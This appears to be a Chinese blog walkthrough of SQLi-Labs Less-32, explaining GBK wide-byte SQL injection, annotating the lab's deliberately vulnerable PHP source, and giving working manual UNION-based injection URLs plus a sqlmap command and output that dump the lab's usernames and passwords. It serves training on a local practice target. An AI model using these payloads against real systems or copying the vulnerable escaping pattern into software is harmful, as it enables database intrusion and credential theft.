sqli-labs通关笔记-第32关 GET宽字符注入(单引号闭合 手工注入+脚本注入两种方法)
目录
一、宽字符注入
二、代码审计
1、代码审计
2、SQL注入安全性分析
三、渗透实战
1、进入靶场
2、id=1探测
3、id=%df'-- 探测
4、手工注入
(1)获取列数
(2)获取回显位
(3)获取数据库名
(4)获取表名
(5)获取列名
(6)获取数据
5、sqlmap渗透实战
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第32关Less 32基于宽字符的SQL注入关卡进行渗透实战。
一、宽字符注入
宽字节注入是一种利用数据库字符集转换风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。其核心原理如下所示。
-
当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')。
-
在GBK编码中,%df%5c可组成一个合法汉字"運"。
-
攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸。
二、代码审计
1、代码审计
本关卡Less32是基于宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less32关卡的源码功能是简单基于id的查询页面,详细注释过的源码如下所示。
<?php
// 引入数据库连接配置
include("../sql-connections/sqli-connect.php");/*** 自定义转义函数:模拟绕过addslashes()的场景* @param string $string 待转义的字符串* @return string 转义后的字符串*/
function check_addslashes($string) {// 转义反斜杠:将单个反斜杠替换为两个反斜杠(\\\\ → 转义后为\\)$string = preg_replace('/' . preg_quote('\\') . '/', '\\\\\\', $string); // 转义单引号:将单引号'替换为\'(通过添加反斜杠)$string = preg_replace('/\'/i', '\\\'', $string); // 转义双引号:将双引号"替换为\"$string = preg_replace('/"/', '\\"', $string); return $string;
}// 处理GET请求中的id参数
if (isset($_GET['id'])) {$id = check_addslashes($_GET['id']); // 调用自定义转义函数// echo "The filtered request is :" .$id . "<br>"; // 调试用,输出过滤后的参数// 记录id参数到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 设置数据库字符集为gbk(关键风险:可能引发宽字符注入)mysqli_query($con1, "SET NAMES gbk");// 构造SQL查询(直接拼接转义后的id参数)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 成功时显示用户信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else {// 失败时显示数据库错误(可用于错误回显注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 暴露SQL语法错误,帮助攻击者调试Payloadecho "</font>";}
} else {// 未传递id参数时的提示echo "Please input the ID as parameter with numeric value";
}
?><!-- 页面底部提示:显示转义后的字符串及其十六进制表示 -->
<font size='4' color= "#33FFFF">
<?php
function strToHex($string) {$hex = '';for ($i = 0; $i < strlen($string); $i++) {$hex .= dechex(ord($string[$i])); // 将字符串转换为十六进制}return $hex;
}
echo "Hint: The Query String you input is escaped as : " . $id . "<br>";
echo "The Query String you input in Hex becomes : " . strToHex($id) . "<br>";
?>
</font>
本关卡通过模拟addslashes()转义逻辑,结合gbk字符集演示了宽字符注入的原理。核心风险在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。
- 自定义转义函数:使用check_addslashes函数模拟 addslashes() 的转义逻辑,对单引号、双引号和反斜杠进行转义(如 ' → \',\ → \\)。
- 参数处理:从 GET 参数获取
id
,调用转义函数后直接拼接 SQL 查询语句中(SELECT * FROM users WHERE id='$id'
)。 - 数据库配置:显式设置字符集为
gbk
,为宽字符注入创造条件。 - 错误回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
- 调试提示:页面底部显示转义后的字符串及其十六进制形式,帮助理解参数处理过程。
2、SQL注入安全性分析
本关卡具有宽字符注入风险,具体分析如下所示。
-
转义逻辑缺陷:
- 转义函数
check_addslashes()
将单引号'
转义为\'
(反斜杠 + 单引号),故而本关卡无法通过普通的单引号闭合进行SQL注入。 - 但当数据库字符集为
gbk
(或其他支持多字节字符的编码)时,反斜杠\
(ASCII 码为5C
)与后续字符可能组成一个宽字符,导致转义的单引号被 “吃掉”。
- 转义函数
- 注入流程:
- 输入 payload:
%df'
(URL 编码为%df%27
)。 - 单引号转义后变为:
\'
URL 编码为%5C%27,%df'转移后变为了%df%5C%27
- 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。
- 输入 payload:
三、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第32关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less32关卡,进入到靶场的第32关卡宽字符型注入关,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-32/
2、id=1探测
3、id=%df'-- 探测
注入语句为%df' --空格,由于空格的URL编码为加号符号,故而完整渗透URL如下所示。
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' --+
如下所示构造闭合成功,页面显示用户名和密码并参考HINT输出了宽字符内容。
4、手工注入
(1)获取列数
如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 4--+
(2)获取回显位
如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,2,3--+
(3)获取数据库名
如下所示,数据库的名称为“security”。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,DATABASE(),3--+
(4)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+
(5)获取列名
如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273--+
(6)获取数据
最后通过上一步获取到的列名来提取users表的内容,这里符号:也被替换为0x3a,如下所示渗透成功。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,0x3a,password)),3 FROM users--+
5、sqlmap渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在id=1后面增加%df'的目标是指定闭合方式,星号*放在id=1%df'后则是指定注入点为id,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-32/?id=1%df'*" --current-db --batch --dump
sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,具体信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1318 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND GTID_SUBSET(CONCAT(0x7176767871,(SELECT (ELT(5642=5642,1))),0x7178766b71),5642)-- HYRVType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND (SELECT 5958 FROM (SELECT(SLEEP(5)))kwSY)-- AhYa
---
[22:55:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[22:55:13] [INFO] fetching current database
[22:55:13] [INFO] retrieved: 'security'
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+